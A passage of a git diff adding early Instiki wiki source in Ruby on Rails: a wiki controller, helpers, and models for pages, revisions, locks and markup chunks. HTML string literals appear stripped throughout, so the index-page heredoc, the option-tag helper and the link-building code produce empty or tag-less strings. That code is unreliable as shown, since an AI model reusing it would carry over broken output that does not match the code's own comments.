variable is, anyway, not much different from a global variable + $instiki_wiki_service = the_wiki + logger.debug("Wiki service: #{the_wiki.to_s}") + end + + def self.wiki + $instiki_wiki_service + end + + def wiki + $instiki_wiki_service + end + +end diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb new file mode 100755 index 00000000..5e38d494 --- /dev/null +++ b/app/controllers/wiki_controller.rb @@ -0,0 +1,411 @@ +require 'application' +require 'fileutils' +require 'redcloth_for_tex' + +class WikiController < ApplicationController + + before_filter :pre_process + + EXPORT_DIRECTORY = File.dirname(__FILE__) + "/../../storage/" unless const_defined?("EXPORT_DIRECTORY") + + def index + if @web_name + redirect_show 'HomePage' + elsif not wiki.setup? + redirect_to :action => 'new_system' + elsif wiki.webs.length == 1 + redirect_show 'HomePage', wiki.webs.values.first.address + else + redirect_to :action => 'web_list' + end + end + + # Administrating the Instiki setup -------------------------------------------- + + def create_system + wiki.setup(@params['password'], @params['web_name'], @params['web_address']) unless wiki.setup? + redirect_to :action => 'index' + end + + def create_web + if wiki.authenticate(@params['system_password']) + wiki.create_web(@params['name'], @params['address']) + redirect_show('HomePage', @params['address']) + else + redirect_to :action => 'index' + end + end + + def new_system + redirect_to(:action => 'index') if wiki.setup? + # otherwise, to template + end + + def new_web + redirect_to :action => 'index' if wiki.system['password'].nil? + # otherwise, to template + end + + + # Outside a single web -------------------------------------------------------- + + def authenticate + if password_check(@params['password']) + redirect_show('HomePage') + else + redirect_to :action => 'login' + end + end + + def login + # go straight to template + end + + def web_list + @webs = wiki.webs.values.sort_by { |web| web.name } + end + + + # Within a single web --------------------------------------------------------- + + def authors + @authors = @web.select.authors + end + + def export_html + export_pages_as_zip('html') { |page| @page = page; render_to_string 'wiki/print' } + end + + def export_markup + export_pages_as_zip(@web.markup) { |page| page.content } + end + + def export_pdf + file_name = "#{web.address}-tex-#{web.revised_on.strftime("%Y-%m-%d-%H-%M")}" + file_path = EXPORT_DIRECTORY + file_name + + export_web_to_tex(file_path + ".tex") unless FileTest.exists?(file_path + ".tex") + convert_tex_to_pdf(file_path + ".tex") + send_export(file_name + ".pdf", file_path + ".pdf") + end + + def export_tex + file_name = "#{web.address}-tex-#{web.revised_on.strftime("%Y-%m-%d-%H-%M")}.tex" + file_path = EXPORT_DIRECTORY + file_name + + export_web_to_tex(file_path) unless FileTest.exists?(file_path) + send_export(file_name, file_path) + end + + def feeds + # to template + end + + def list + parse_category + @pages_by_name = @pages_in_category.by_name + @page_names_that_are_wanted = @pages_in_category.wanted_pages + @pages_that_are_orphaned = @pages_in_category.orphaned_pages + end + + def recently_revised + parse_category + @pages_by_revision = @pages_in_category.by_revision + end + + def remove_orphaned_pages + if wiki.authenticate(@params['system_password']) + wiki.remove_orphaned_pages(@web_name) + redirect_to :action => 'list' + else + redirect_show 'HomePage' + end + end + + def rss_with_content + render_rss + end + + def rss_with_headlines + render_rss(hide_description = true) + end + + def search + @query = @params['query'] + @results = @web.select { |page| page.content =~ /#{@query}/i }.sort + redirect_show(@results.first.name) if @results.length == 1 + end + + def update_web + if wiki.authenticate(@params['system_password']) + wiki.update_web( + @web.address, @params['address'], @params['name'], + @params['markup'].intern, + @params['color'], @params['additional_style'], + @params['safe_mode'] ? true : false, + @params['password'].empty? ? nil : @params['password'], + @params['published'] ? true : false, + @params['brackets_only'] ? true : false, + @params['count_pages'] ? true : false + ) + redirect_show('HomePage', @params['address']) + else + redirect_show('HomePage') + end + end + + + # Within a single page -------------------------------------------------------- + + def cancel_edit + @page.unlock + redirect_show + end + + def edit + if @page.nil? + redirect_to :action => 'index' + elsif @page.locked?(Time.now) and not @params['break_lock'] + redirect_to :web => @web_name, :action => 'locked', :id => @page_name + else + @page.lock(Time.now, @author) + end + end + + def locked + # to template + end + + def new + # go straight to template, all necessary variables are already set in the filter + end + + def pdf + page = wiki.read_page(@web_name, @page_name) + safe_page_name = page.name.gsub(/\W/, '') + file_name = "#{safe_page_name}-#{web.address}-#{page.created_at.strftime("%Y-%m-%d-%H-%M")}" + file_path = EXPORT_DIRECTORY + file_name + + export_page_to_tex(file_path + '.tex') unless FileTest.exists?(file_path + '.tex') + convert_tex_to_pdf(file_path + '.tex') + send_export(file_name + '.pdf', file_path + '.pdf') + end + + def print + # to template + end + + def published + if @web.published + @page = wiki.read_page(@web_name, @page_name || 'HomePage') + else + redirect_show('HomePage') + end + end + + def revision + get_page_and_revision + end + + def rollback + get_page_and_revision + end + + def save + redirect_to :action => 'index' if @page_name.nil? + + if @web.pages[@page_name] + page = wiki.revise_page( + @web_name, @page_name, @params['content'], Time.now, + Author.new(@params['author'], remote_ip) + ) + page.unlock + else + page = wiki.write_page( + @web_name, @page_name, @params['content'], Time.now, + Author.new(@params['author'], remote_ip) + ) + end + cookies['author'] = @params['author'] + redirect_show(@page_name) + end + + def show + if @page + begin + render_action 'page' + # TODO this rescue should differentiate between errors due to rendering and errors in + # the application itself (for application errors, it's better not to rescue the error at all) + rescue => e + logger.error e + if in_a_web? + redirect_to :web => @web_name, :action => 'edit', + :action_suffix => "#{CGI.escape(@page_name)}?msg=#{CGI.escape(e.message)}" + else + raise e + end + end + else + redirect_to :web => @web_name, :action => 'new', :id => CGI.escape(@page_name) + end + end + + def tex + @tex_content = RedClothForTex.new(@page.content).to_tex + end + + + private + + def authorized? + @web.nil? || + @web.password.nil? || + cookies['web_address'] == @web.password || + password_check(@params['password']) + end + + def check_authorization(action_name) + if in_a_web? and + not authorized? and + not %w( login authenticate published ).include?(action_name) + redirect_to :action => 'login' + return false + end + end + + def convert_tex_to_pdf(tex_path) + `cd #{File.dirname(tex_path)}; pdflatex --interaction=scrollmode '#{File.basename(tex_path)}'` + end + + def export_page_to_tex(file_path) + tex + File.open(file_path, 'w') { |f| f.write(template_engine("tex").result(binding)) } + end + + def export_pages_as_zip(file_type, &block) + + file_prefix = "#{@web.address}-#{file_type}-" + timestamp = @web.revised_on.strftime('%Y-%m-%d-%H-%M-%S') + file_path = EXPORT_DIRECTORY + file_prefix + timestamp + '.zip' + tmp_path = "#{file_path}.tmp" + + Zip::ZipOutputStream.open(tmp_path) do |zip_out| + @web.select.by_name.each do |page| + zip_out.put_next_entry("#{page.name}.#{file_type}") + zip_out.puts(block.call(page)) + end + # add an index file, if exporting to HTML + if file_type.to_s.downcase == 'html' + zip_out.put_next_entry 'index.html' + zip_out.puts <<-EOL + + + + + + EOL + end + end + FileUtils.rm_rf(Dir[EXPORT_DIRECTORY + file_prefix + '*.zip']) + FileUtils.mv(tmp_path, file_path) + send_file(file_path, :type => 'application/zip') + end + + def export_web_to_tex(file_path) + @tex_content = table_of_contents(web.pages['HomePage'].content.dup, render_tex_web) + File.open(file_path, 'w') { |f| f.write(template_engine('tex_web').result(binding)) } + end + + def get_page_and_revision + @revision = @page.revisions[@params['rev'].to_i] + end + + def in_a_web? + not @web_name.nil? + end + + def parse_category + @categories = @web.categories + @category = @params['category'] + if @categories.include?(@category) + @pages_in_category = @web.select { |page| page.in_category?(@category) } + @set_name = "category '#{@category}'" + else + @pages_in_category = PageSet.new(@web).by_name + @set_name = 'the web' + end + @category_links = @categories.map { |c| + if @category == c + %{#{c}} + else + %{#{c}} + end + } + end + + def password_check(password) + if password == @web.password + cookies['web_address'] = password + true + else + false + end + end + + def pre_process + @action_name = @params['action'] || 'index' + @web_name = @params['web'] + @wiki = wiki + @web = @wiki.webs[@web_name] unless @web_name.nil? + @page_name = @params['id'] + @page = @wiki.read_page(@web_name, @page_name) unless @page_name.nil? + @author = cookies['author'] || 'AnonymousCoward' + check_authorization(@action_name) + end + + def redirect_show(page_name = @page_name, web = @web_name) + redirect_to :web => web, :action => 'show', :id => CGI.escape(page_name) + end + + def remote_ip + ip = @request.remote_ip + logger.info(ip) + ip + end + + def render_rss(hide_description = false) + @pages_by_revision = @web.select.by_revision.first(15) + @hide_description = hide_description + @response.headers['Content-Type'] = 'text/xml' + render 'wiki/rss_feed' + end + + def render_tex_web + @web.select.by_name.inject({}) do |tex_web, page| + tex_web[page.name] = RedClothForTex.new(page.content).to_tex + tex_web + end + end + + def render_to_string(template_name) + add_variables_to_assigns + render template_name + @template.render_file(template_name) + end + + # Returns an array with each of the parts in the request as an element. So /something/cool/dude + # returns ["something", "cool", "dude"] + def request_path + request_path_parts = @request.path.to_s.split(/\//) + request_path_parts.length > 1 ? request_path_parts[1..-1] : [] + end + + def template_engine(template_name) + ERB.new(IO.readlines(RAILS_ROOT + '/app/views/wiki/' + template_name + '.rhtml').join) + end + + def truncate(text, length = 30, truncate_string = '...') + if text.length > length then text[0..(length - 3)] + truncate_string else text end + end + +end diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb new file mode 100644 index 00000000..9956a1cd --- /dev/null +++ b/app/helpers/application_helper.rb @@ -0,0 +1,36 @@ +# The methods added to this helper will be available to all templates in the application. +module ApplicationHelper + + # Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. Given a container + # where the elements respond to first and last (such as a two-element array), the "lasts" serve as option values and + # the "firsts" as option text. Hashes are turned into this form automatically, so the keys become "firsts" and values + # become lasts. If +selected+ is specified, the matching "last" or element will get the selected option-tag. + # + # Examples (call, result): + # html_options([["Dollar", "$"], ["Kroner", "DKK"]]) + # \n + # + # html_options([ "VISA", "Mastercard" ], "Mastercard") + # \n + # + # html_options({ "Basic" => "$20", "Plus" => "$40" }, "$40") + # \n + def html_options(container, selected = nil) + container = container.to_a if Hash === container + + html_options = container.inject([]) do |options, element| + if element.respond_to?(:first) && element.respond_to?(:last) + if element.last != selected + options << "" + else + options << "" + end + else + options << ((element != selected) ? "" : "") + end + end + + html_options.join("\n") + end + +end diff --git a/app/models/author.rb b/app/models/author.rb new file mode 100755 index 00000000..289f9c9d --- /dev/null +++ b/app/models/author.rb @@ -0,0 +1,4 @@ +class Author < String + attr_accessor :ip + def initialize(name, ip) @ip = ip; super(name) end +end \ No newline at end of file diff --git a/app/models/chunks/category.rb b/app/models/chunks/category.rb new file mode 100755 index 00000000..7165a26f --- /dev/null +++ b/app/models/chunks/category.rb @@ -0,0 +1,31 @@ +require 'chunks/chunk' + +# The category chunk looks for "category: news" on a line by +# itself and parses the terms after the ':' as categories. +# Other classes can search for Category chunks within +# rendered content to find out what categories this page +# should be in. +# +# Category lines can be hidden using ':category: news', for example +class Category < Chunk::Abstract + def self.pattern() return /^(:)?category\s*:(.*)$/i end + + attr_reader :hidden, :list + + def initialize(match_data) + super(match_data) + @hidden = match_data[1] + @list = match_data[2].split(',').map { |c| c.strip } + end + + # Mark this chunk's start and end points but allow the terms + # after the ':' to be marked up. + def mask(content) pre_mask + list.join(', ') + post_mask end + + # If the chunk is hidden, erase the mask and return this chunk + # otherwise, surround it with a 'div' block. + def unmask(content) + replacement = ( hidden ? '' : '
category:\1
' ) + self if content.sub!( Regexp.new( pre_mask+'(.*)?'+post_mask ), replacement ) + end +end diff --git a/app/models/chunks/chunk.rb b/app/models/chunks/chunk.rb new file mode 100755 index 00000000..754b2653 --- /dev/null +++ b/app/models/chunks/chunk.rb @@ -0,0 +1,20 @@ +require 'digest/md5' +require 'uri/common' + +# A chunk is a pattern of text that can be protected +# and interrogated by a renderer. Each Chunk class has a +# +pattern+ that states what sort of text it matches. +# Chunks are initalized by passing in the result of a +# match by its pattern. +module Chunk + class Abstract + attr_reader :text + + def initialize(match_data) @text = match_data[0] end + def pre_mask() "chunk#{self.object_id}start " end + def post_mask() " chunk#{self.object_id}end" end + def mask(content) "chunk#{self.object_id}chunk" end + def revert(content) content.sub!( Regexp.new(mask(content)), text ) end + def unmask(content) self if revert(content) end + end +end diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb new file mode 100755 index 00000000..5d189d71 --- /dev/null +++ b/app/models/chunks/engines.rb @@ -0,0 +1,38 @@ +$: << File.dirname(__FILE__) + "../../libraries" + +require 'redcloth' +require 'bluecloth' +require 'rdocsupport' +require 'chunks/chunk' + +# The markup engines are Chunks that call the one of RedCloth, BlueCloth +# or RDoc to convert text. This markup occurs when the chunk is required +# to mask itself. +module Engines + class Textile < Chunk::Abstract + def self.pattern() /^(.*)$/m end + def mask(content) + RedCloth.new(text,content.options[:engine_opts]).to_html + end + def unmask(content) self end + end + + class Markdown < Chunk::Abstract + def self.pattern() /^(.*)$/m end + def mask(content) + BlueCloth.new(text,content.options[:engine_opts]).to_html + end + def unmask(content) self end + end + + class RDoc < Chunk::Abstract + def self.pattern() /^(.*)$/m end + def mask(content) + RDocSupport::RDocFormatter.new(text).to_html + end + def unmask(content) self end + end + + MAP = { :textile => Textile, :markdown => Markdown, :rdoc => RDoc } +end + diff --git a/app/models/chunks/include.rb b/app/models/chunks/include.rb new file mode 100755 index 00000000..7f3a9299 --- /dev/null +++ b/app/models/chunks/include.rb @@ -0,0 +1,29 @@ +require 'chunks/wiki' + +# Includes the contents of another page for rendering. +# The include command looks like this: "[[!include PageName]]". +# It is a WikiLink since it refers to another page (PageName) +# and the wiki content using this command must be notified +# of changes to that page. +# If the included page could not be found, a warning is displayed. +class Include < WikiChunk::WikiLink + def self.pattern() /^\[\[!include(.*)\]\]\s*$/i end + + attr_reader :page_name + + def initialize(match_data) + super(match_data) + @page_name = match_data[1].strip + end + + # This replaces the [[!include PageName]] text with + # the contents of PageName if it exists. Otherwise + # a warning is displayed. + def mask(content) + page = content.web.pages[page_name] + (page ? page.content : "Could not include #{page_name}") + end + + # Keep this chunk regardless of what happens. + def unmask(content) self end +end diff --git a/app/models/chunks/literal.rb b/app/models/chunks/literal.rb new file mode 100755 index 00000000..0df73caf --- /dev/null +++ b/app/models/chunks/literal.rb @@ -0,0 +1,19 @@ +require 'chunks/chunk' + +# These are basic chunks that have a pattern and can be protected. +# They are used by rendering process to prevent wiki rendering +# occuring within literal areas such as and
 blocks
+# and within HTML tags.
+module Literal
+  # A literal chunk that protects 'code' and 'pre' tags from wiki rendering.
+  class Pre < Chunk::Abstract
+    PRE_BLOCKS = "a|pre|code"
+    def self.pattern() Regexp.new('<('+PRE_BLOCKS+')\b[^>]*?>.*?', Regexp::MULTILINE) end
+  end 
+
+  # A literal chunk that protects HTML tags from wiki rendering.
+  class Tags < Chunk::Abstract
+    TAGS = "a|img|em|strong|div|span|table|td|th|ul|ol|li|dl|dt|dd"
+    def self.pattern() Regexp.new('<(?:'+TAGS+')[^>]*?>', Regexp::MULTILINE) end
+  end
+end
diff --git a/app/models/chunks/match.rb b/app/models/chunks/match.rb
new file mode 100755
index 00000000..2fb58db1
--- /dev/null
+++ b/app/models/chunks/match.rb
@@ -0,0 +1,19 @@
+# This module is to be included in unit tests that involve matching chunks.
+# It provides a easy way to test whether a chunk matches a particular string
+# and any the values of any fields that should be set after a match.
+module ChunkMatch
+
+  # Asserts a number of tests for the given type and text.
+  def match(type, test_text, expected)
+	pattern = type.pattern
+    assert_match(pattern, test_text)
+    pattern =~ test_text   # Previous assertion guarantees match
+    chunk = type.new($~)
+    
+    # Test if requested parts are correct.
+    for method_sym, value in expected do
+      assert_respond_to(chunk, method_sym)
+      assert_equal(value, chunk.method(method_sym).call, "Checking value of '#{method_sym}'")
+    end
+  end
+end
diff --git a/app/models/chunks/nowiki.rb b/app/models/chunks/nowiki.rb
new file mode 100755
index 00000000..99eeb8bf
--- /dev/null
+++ b/app/models/chunks/nowiki.rb
@@ -0,0 +1,31 @@
+require 'chunks/chunk'
+
+# This chunks allows certain parts of a wiki page to be hidden from the
+# rest of the rendering pipeline. It should be run at the beginning
+# of the pipeline in `wiki_content.rb`.
+#
+# An example use of this chunk is to markup double brackets or
+# auto URI links:
+#  Here are [[double brackets]] and a URI: www.uri.org
+#
+# The contents of the chunks will not be processed by any other chunk
+# so the `www.uri.org` and the double brackets will appear verbatim.
+#
+# Author: Mark Reid 
+# Created: 8th June 2004
+class NoWiki < Chunk::Abstract
+
+  def self.pattern() Regexp.new('(.*?)') end
+
+  attr_reader :plain_text
+
+  def initialize(match_data)
+	super(match_data)
+	@plain_text = match_data[1]
+  end
+  
+  # The nowiki content is not unmasked. This means the chunk will be reverted
+  # using the plain text.
+  def unmask(content) nil end
+  def revert(content) content.sub!( Regexp.new(mask(content)), plain_text ) end
+end
diff --git a/app/models/chunks/test.rb b/app/models/chunks/test.rb
new file mode 100755
index 00000000..61d3c4f8
--- /dev/null
+++ b/app/models/chunks/test.rb
@@ -0,0 +1,18 @@
+require 'test/unit'
+
+class ChunkTest < Test::Unit::TestCase
+
+  # Asserts a number of tests for the given type and text.
+  def match(type, test_text, expected)
+	pattern = type.pattern
+    assert_match(pattern, test_text)
+    pattern =~ test_text   # Previous assertion guarantees match
+    chunk = type.new($~)
+    
+    # Test if requested parts are correct.
+    for method_sym, value in expected do
+      assert_respond_to(chunk, method_sym)
+      assert_equal(value, chunk.method(method_sym).call, "Checking value of '#{method_sym}'")
+    end
+  end
+end
diff --git a/app/models/chunks/uri.rb b/app/models/chunks/uri.rb
new file mode 100755
index 00000000..ded31645
--- /dev/null
+++ b/app/models/chunks/uri.rb
@@ -0,0 +1,103 @@
+require 'chunks/chunk'
+
+# This wiki chunk matches arbitrary URIs, using patterns from the Ruby URI modules.
+# It parses out a variety of fields that could be used by renderers to format
+# the links in various ways (shortening domain names, hiding email addresses)
+# It matches email addresses and host.com.au domains without schemes (http://)
+# but adds these on as required.
+#
+# The heuristic used to match a URI is designed to err on the side of caution.
+# That is, it is more likely to not autolink a URI than it is to accidently
+# autolink something that is not a URI. The reason behind this is it is easier
+# to force a URI link by prefixing 'http://' to it than it is to escape and
+# incorrectly marked up non-URI.
+#
+# I'm using a part of the [ISO 3166-1 Standard][iso3166] for country name suffixes.
+# The generic names are from www.bnoack.com/data/countrycode2.html)
+#   [iso3166]: http://geotags.com/iso3166/
+class URIChunk < Chunk::Abstract
+  include URI::REGEXP::PATTERN
+
+  # this condition is to get rid of pesky warnings in tests
+  unless defined? URI_CHUNK_CONSTANTS_DEFINED
+    URI_CHUNK_CONSTANTS_DEFINED = true
+
+    GENERIC = '(?:aero|biz|com|coop|edu|gov|info|int|mil|museum|name|net|org)'
+    COUNTRY = '(?:au|at|be|ca|ch|de|dk|fr|hk|in|ir|it|jp|nl|no|pt|ru|se|sw|tv|tw|uk|us)'
+  
+    # These are needed otherwise HOST will match almost anything
+    TLDS = "\\.(?:#{GENERIC}|#{COUNTRY})" 
+  
+    # Redefine USERINFO so that it must have non-zero length
+    USERINFO = "(?:[#{UNRESERVED};:&=+$,]|#{ESCAPED})+"
+  
+    # Pattern of legal URI endings to stop interference with some Textile
+    # markup. (Images: !URI!) and other punctuation eg, (http://wiki.com/)
+    URI_ENDING = '[)!]'
+  
+    # The basic URI expression as a string
+    URI_PATTERN = 
+  	"(?:(#{SCHEME})://)?" +    # Optional scheme://              (\1|\8)
+  	"(?:(#{USERINFO})@)?" +    # Optional userinfo@              (\2|\9)
+  	"(#{HOSTNAME}#{TLDS})" +   # Mandatory host eg, HOST.com.au  (\3|\10)
+  	"(?::(#{PORT}))?" +        # Optional :port                  (\4|\11)
+  	"(#{ABS_PATH})?" +         # Optional absolute path          (\5|\12)
+  	"(?:\\?(#{QUERY}))?" +     # Optional ?query                 (\6|\13)
+  	"(?:\\#(#{FRAGMENT}))?"    # Optional #fragment              (\7|\14)
+
+  end
+
+  def self.pattern()
+    # This pattern first tries to match the URI_PATTERN that ends with 
+    # punctuation that is a valid URI character (eg, ')', '!'). If
+    # such a match occurs, there should be no backtracking (hence the ?> ). 
+    # If the string cannot match a URI ending with URI_ENDING, then a second
+    # attempt is tried.
+    Regexp.new("(?>#{URI_PATTERN}(?=#{URI_ENDING}))|#{URI_PATTERN}", Regexp::EXTENDED, 'N')
+  end
+
+  attr_reader :uri, :scheme, :user, :host, :port, :path, :query, :fragment, :link_text
+  
+  def initialize(match_data)
+    super(match_data)
+    # Since the URI_PATTERN is tried twice, there are two sets of
+    # groups, one from \1 to \7 and the second from \8 to \14.
+    # The fields are set by which ever group matches.
+    @scheme   	= match_data[1] || match_data[8]
+    @user     	= match_data[2] || match_data[9]
+    @host     	= match_data[3] || match_data[10]
+    @port		= match_data[4] || match_data[11]
+    @path		= match_data[5] || match_data[12]
+    @query		= match_data[6] || match_data[13]
+    @fragment	= match_data[7] || match_data[14]
+
+    # If there is no scheme, add an appropriate one, otherwise
+    # set the URI to the matched text.
+	@text_scheme = scheme
+    @uri = (scheme ? match_data[0] : nil )
+    @scheme = scheme || ( user ? 'mailto' : 'http' )
+    @delimiter = ( scheme == 'mailto' ? ':' : '://' ) 
+    @uri ||= scheme + @delimiter + match_data[0]
+
+    # Build up the link text. Schemes are omitted unless explicitly given.
+	@link_text = ''
+      @link_text << "#{@scheme}#{@delimiter}" if @text_scheme
+      @link_text << "#{@user}@" if @user
+      @link_text << "#{@host}" if @host
+      @link_text << ":#{@port}" if @port
+      @link_text << "#{@path}" if @path
+      @link_text << "?#{@query}" if @query
+  end
+
+  # If the text should be escaped then don't keep this chunk.
+  # Otherwise only keep this chunk if it was substituted back into the
+  # content.
+  def unmask(content) 
+    return nil if escaped_text
+    return self if content.sub!( Regexp.new(mask(content)), "#{link_text}" )
+  end
+
+  # If there is no hostname in the URI, do not render it
+  # It's probably only contains the scheme, eg 'something:' 
+  def escaped_text() ( host.nil? ? @uri : nil )  end
+end
diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb
new file mode 100755
index 00000000..d68bbd39
--- /dev/null
+++ b/app/models/chunks/wiki.rb
@@ -0,0 +1,83 @@
+require 'wiki_words'
+require 'chunks/chunk'
+require 'cgi'
+
+# Contains all the methods for finding and replacing wiki related
+# links.
+module WikiChunk
+  include Chunk
+
+  # A wiki link is the top-level class for anything that refers to
+  # another wiki page.
+  class WikiLink < Chunk::Abstract
+    # By default, no escaped text
+    def escaped_text() nil end
+
+    # Delimit the link text with markers to replace later unless
+    # the word is escaped. In that case, just return the link text
+    def mask(content) escaped_text || pre_mask + link_text + post_mask end
+
+    def regexp() Regexp.new(pre_mask + '(.*)?' + post_mask) end
+
+    def revert(content) content.sub!(regexp, text) end
+
+    # Do not keep this chunk if it is escaped.
+    # Otherwise, pass the link procedure a page_name and link_text and
+    # get back a string of HTML to replace the mask with.
+    def unmask(content)
+      return nil if escaped_text
+      return self if content.sub!(regexp) { |match| content.page_link(page_name, $1) }
+    end
+  end
+
+  # This chunk matches a WikiWord. WikiWords can be escaped
+  # by prepending a '\'. When this is the case, the +escaped_text+
+  # method will return the WikiWord instead of the usual +nil+.
+  # The +page_name+ method returns the matched WikiWord.
+  class Word < WikiLink
+    def self.pattern
+      Regexp.new('(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0, "utf-8")
+    end
+
+    attr_reader :page_name
+
+    def initialize(match_data)
+      super(match_data)
+      @escape = match_data[1]
+      @page_name = match_data[2]
+    end
+
+    def escaped_text() (@escape.nil? ? nil : page_name) end
+    def link_text() WikiWords.separate(page_name) end	
+  end
+
+  # This chunk handles [[bracketted wiki words]] and 
+  # [[AliasedWords|aliased wiki words]]. The first part of an
+  # aliased wiki word must be a WikiWord. If the WikiWord
+  # is aliased, the +link_text+ field will contain the
+  # alias, otherwise +link_text+ will contain the entire
+  # contents within the double brackets.
+  #
+  # NOTE: This chunk must be tested before WikiWord since
+  #       a WikiWords can be a substring of a WikiLink. 
+  class Link < WikiLink
+    def self.pattern() /\[\[([^\]]+)\]\]/ end
+    
+    ALIASED_LINK_PATTERN ||= Regexp.new('^(.*)?\|(.*)$', 0, "utf-8") 
+
+    attr_reader :page_name, :link_text
+
+    def initialize(match_data)
+      super(match_data)
+
+	  # If the like is aliased, set the page name to the first bit
+	  # and the link text to the second, otherwise set both to the
+	  # contents of the double brackets.
+      if match_data[1] =~ ALIASED_LINK_PATTERN
+        @page_name, @link_text = $1, $2
+      else
+        @page_name, @link_text = match_data[1], match_data[1]
+      end
+    end
+  end
+end
diff --git a/app/models/page.rb b/app/models/page.rb
new file mode 100755
index 00000000..d6b0b894
--- /dev/null
+++ b/app/models/page.rb
@@ -0,0 +1,86 @@
+require "date"
+require "page_lock"
+require "revision"
+require "wiki_words"
+require "chunks/wiki"
+
+class Page
+  include PageLock
+
+  CONTINOUS_REVISION_PERIOD = 30 * 60 # 30 minutes
+
+  attr_reader :name, :revisions, :web
+  
+  def initialize(web, name, content, created_at, author)
+    @web, @name, @revisions = web, name, []
+    revise(content, created_at, author)
+  end
+
+  def revise(content, created_at, author)
+    if !@revisions.empty? && continous_revision?(created_at, author)
+      @revisions.last.created_at = Time.now
+      @revisions.last.content    = content
+      @revisions.last.clear_display_cache
+    else
+      @revisions << Revision.new(self, @revisions.length, content, created_at, author)
+    end
+    
+    web.refresh_pages_with_references(name) if @revisions.length == 1
+  end
+  
+  def rollback(revision_number, created_at, author_ip = nil)
+    roll_back_revision = @revisions[revision_number].dup
+    revise(roll_back_revision.content, created_at, Author.new(roll_back_revision.author, author_ip))
+  end
+  
+  def revisions?
+    revisions.length > 1
+  end
+  
+  def revised_on
+    created_on
+  end
+  
+  def pretty_revised_on
+    DateTime.new(revised_on.year, revised_on.mon, revised_on.day).strftime "%B %e, %Y" 
+  end
+  
+  def in_category?(cat)
+    cat.nil? || cat.empty? || categories.include?(cat)
+  end
+
+  def categories
+    display_content.find_chunks(Category).map { |cat| cat.list }.flatten
+  end
+  
+  def authors
+    revisions.collect { |rev| rev.author }
+  end
+
+  def references
+    web.select.pages_that_reference(name)
+  end
+
+  # Returns the original wiki-word name as separate words, so "MyPage" becomes "My Page".
+  def plain_name
+    WikiWords.separate(name, web.brackets_only)
+  end
+
+  def link(options = {})
+    web.make_link(name, nil, options)
+  end
+  
+  def author_link(options = {})
+    web.make_link(author, nil, options)
+  end
+  
+  private
+    def continous_revision?(created_at, author)
+      @revisions.last.author == author && @revisions.last.created_at + CONTINOUS_REVISION_PERIOD > created_at
+    end
+  
+    # Forward method calls to the current revision, so the page responds to all revision calls
+    def method_missing(method_symbol)
+      revisions.last.send(method_symbol)
+    end
+end
\ No newline at end of file
diff --git a/app/models/page_lock.rb b/app/models/page_lock.rb
new file mode 100755
index 00000000..553c9868
--- /dev/null
+++ b/app/models/page_lock.rb
@@ -0,0 +1,24 @@
+# Contains all the lock methods to be mixed in with the page
+module PageLock
+  LOCKING_PERIOD = 30 * 60 # 30 minutes
+
+  def lock(time, locked_by)
+    @locked_at, @locked_by = time, locked_by
+  end
+  
+  def lock_duration(time)
+    ((time - @locked_at) / 60).to_i unless @locked_at.nil?
+  end
+  
+  def unlock
+    @locked_at = nil
+  end
+  
+  def locked?(comparison_time)
+    @locked_at + LOCKING_PERIOD > comparison_time unless @locked_at.nil?
+  end
+
+  def locked_by_link
+    web.make_link(@locked_by)
+  end
+end
\ No newline at end of file
diff --git a/app/models/page_set.rb b/app/models/page_set.rb
new file mode 100755
index 00000000..608ac9f1
--- /dev/null
+++ b/app/models/page_set.rb
@@ -0,0 +1,73 @@
+# Container for a set of pages with methods for manipulation.
+
+class PageSet < Array
+  attr_reader :web
+
+  def initialize(web, pages = nil, condition = nil)
+    @web = web
+    # if pages is not specified, make a list of all pages in the web
+    if pages.nil?
+      super(web.pages.values)
+    # otherwise use specified pages and condition to produce a set of pages
+    elsif condition.nil?
+      super(pages)
+    else
+      super(pages.select { |page| condition[page] })
+    end
+  end
+
+  def most_recent_revision
+    self.map { |page| page.created_at }.max || Time.at(0)
+  end
+
+
+  def by_name
+    PageSet.new(@web, sort_by { |page| page.name })
+  end
+
+  alias :sort :by_name
+
+  def by_revision
+    PageSet.new(@web, sort_by { |page| page.created_at }).reverse 
+  end
+  
+  def pages_that_reference(page_name)
+    self.select { |page| page.wiki_words.include?(page_name) }
+  end
+
+  def pages_authored_by(author)
+    self.select { |page| page.authors.include?(author) }
+  end
+
+  def characters
+    self.inject(0) { |chars,page| chars += page.content.size }
+  end
+
+  # Returns all the orphaned pages in this page set. That is,
+  # pages in this set for which there is no reference in the web.
+  # The HomePage and author pages are always assumed to have
+  # references and so cannot be orphans
+  def orphaned_pages
+    references = web.select.wiki_words + ["HomePage"] + web.select.authors
+    self.reject { |page| references.include?(page.name) } 
+  end
+
+  # Returns all the wiki words in this page set for which
+  # there are no pages in this page set's web
+  def wanted_pages
+    wiki_words - web.select.names
+  end
+
+  def names
+    self.map { |page| page.name }
+  end
+
+  def wiki_words
+    self.inject([]) { |wiki_words, page| wiki_words << page.wiki_words }.flatten.uniq
+  end
+
+  def authors
+    self.inject([]) { |authors, page| authors << page.authors }.flatten.uniq.sort
+  end
+
+end
\ No newline at end of file
diff --git a/app/models/revision.rb b/app/models/revision.rb
new file mode 100755
index 00000000..00a80a02
--- /dev/null
+++ b/app/models/revision.rb
@@ -0,0 +1,90 @@
+$: << File.dirname(__FILE__) + "../../libraries"
+
+require "diff"
+
+require "wiki_content"
+require "chunks/wiki"
+
+require "date"
+require "author"
+require "page"
+
+class Revision
+  attr_accessor :page, :number, :content, :created_at, :author
+
+  def initialize(page, number, content, created_at, author)
+    @page, @number, @created_at, @author = page, number, created_at, author
+    self.content = content
+  end
+
+  # Ensure that the wiki content is parsed when ever it is updated.
+  def content=(content)
+    @content = content
+  end
+
+  def created_on
+    Date.new(@created_at.year, @created_at.mon, @created_at.day)
+  end
+
+  def pretty_created_at
+    # Must use DateTime because Time doesn't support %e on at least some platforms
+    DateTime.new(
+      @created_at.year, @created_at.mon, @created_at.day, @created_at.hour, @created_at.min
+    ).strftime "%B %e, %Y %H:%M" 
+  end
+
+  def next_revision
+    page.revisions[number + 1]
+  end
+
+  def previous_revision
+    number - 1 >= 0 && page.revisions[number - 1]
+  end
+
+  # Returns an array of all the WikiWords present in the content of this revision.
+  def wiki_words
+    unless @wiki_words_cache 
+      wiki_chunks = display_content.find_chunks(WikiChunk::WikiLink)
